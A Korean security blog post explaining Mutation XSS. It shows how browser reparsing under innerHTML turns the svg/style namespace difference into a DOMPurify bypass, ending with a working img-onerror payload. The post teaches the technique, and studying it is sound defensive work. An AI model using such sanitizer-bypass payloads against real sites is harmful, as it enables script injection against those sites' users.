본문 바로가기
Web/개념정리

[개념정리] Mutation XSS

by jh117jh 2024. 6. 25.
728x90

 

<html>
<body>
  <div id=content></div>
  <script>
    content.innerHTML = '<svg><p>hello</svg>'
  </script>
</body>
</html>

https://jh-hack.tistory.com/197

 

[개념정리] Dompurify

이번에 문제를 풀다가 DOMpurify를 우회하는 방법에 대해 알게되었다. DOMpurify란? innerHTML은 문자열이 자동으로 HTML 요소로 인식될 수 있게 기능을 한다.이러한 기능이 있을때 어떤 문제가 있을까?

jh-hack.tistory.com

 

위에 설명한 Dompurify를 Mutation XSS로 인해 우회할 수 있는데

 

Mutation XSS란?

2013년 처음 등장한 취약점으로 Mario Heiderich가 쓴 논문에서 확인할 수 있다.

이는 innerHTML 때문에 발생하며 브라우저의 잘못된 해석 방식의 차이로 인해 발생한다.

 

예를 들어보면 

<div><script title="</div>">

 

이러한 HTML 코드가 있다고 가정하면 

브라우저로 실행할 시 다음과 같이 해석되어 노출된다.

<html>
<head></head>
<body>
<div>
<script title="</div>"></script>
</div>
</body>
</html>

 

우리는 닫는 태그를 작성하지 않은 채 코드를 작성했지만 브라우저가 해석하는 과정에서 닫는 태그를 자신의 판단하에 넣은 것이다.

 

 

다음 코드를 보면 

<script><div title="</script>">

 

브라우저는 해당 코드를 다음과 같이 해석한다.

 

이는 브라우저가 <script> 태그를 만나면 닫는 태그를 찾을 때까지 HTML 파서에서 Javascript파서로 전환하기 때문에 발생한다.

 

이제 Dompurify에서 기본 구성으로 허용하는 태그 ( <div>, <svg>, <p>, <style> )를 이용해 작성해 보자.

 

<html>
<body>
  <div id=content></div>
  <script>
    content.innerHTML = '<svg><p>hello</svg>'
  </script>
</body>
</html>

 

이를 해석하면 

 

<html>
<body>
  <div id=content>
  	<svg></svg>
  	<p>hello</P>
  </div>
  <script>
  	content.innerHTML = '<svg><p>hello</svg>'
  </script>
</body>
</html>

 

이는 브라우저가 <p>가 <svg> 내부에 있으면 안 된다고 판단하여 밖으로 빼낸 것이다.

 

아직 이걸로는 감이 안 올 텐데 이러한 성질을 이용해 XSS를 실행할 수 있다.

 

<stype>는 태그 안의 모든 것을 텍스트로 해석한다. 

<html>
<body>
  <style>
    <a id="test"></a>
  </style>
</body>
</html>

 

해당 코드를 브라우저에서 확인하면 

<a> 태그를 텍스트로 인식하는 걸 확인할 수 있다.

하지만 <svg> 태그를 추가하면 브라우저의 해석하는 방식이 달라진다.

<html>
<body>
  <svg>
    <style>
      <a id="test"></a>
    </style>
  </svg>
</body>
</html>

 

 

<a> 태그는 <style>의 텍스트가 아닌 HTML태그로 인식되게 된다.

 

이것을 잘 이용하면 XSS를 발생시킬 수 있다.

<svg>
  <style>
    <a id="</style><img src=x onerror=alert(1)>"></a>
  </style>
</svg>

 

위와 같은 코드를 해석하면 

</style><img src=x onerror=alert(1)>은 <a> 태그의 id 속성으로 인식되어 </style>를 닫지도 <img> 태그를 HTML로 인식하지도 않는다.

 

하지만 <svg>를 제거하면 

위에 설명했던 <svg>로 인해 HTML로 인식되었던 <a> 태그가 더 이상 HTML이 아니라 텍스트로 인식되어 id속성은 없어지게 된다. 그러면 자연스럽게 id속성 안에 있던 <img> 태그가 HTML로 인식되어 XSS가 발생할 수 있게 되는 것이다.

728x90

'Web > 개념정리' 카테고리의 다른 글

[개념정리] Dompurify  (0) 2024.06.23
[개념정리] Prototype Pollution  (0) 2024.06.05
[개념정리] PHP Deserialization 취약점  (0) 2024.05.26
[개념정리] case mapping collision  (0) 2024.02.29
[개념정리] Click jacking  (0) 2024.01.05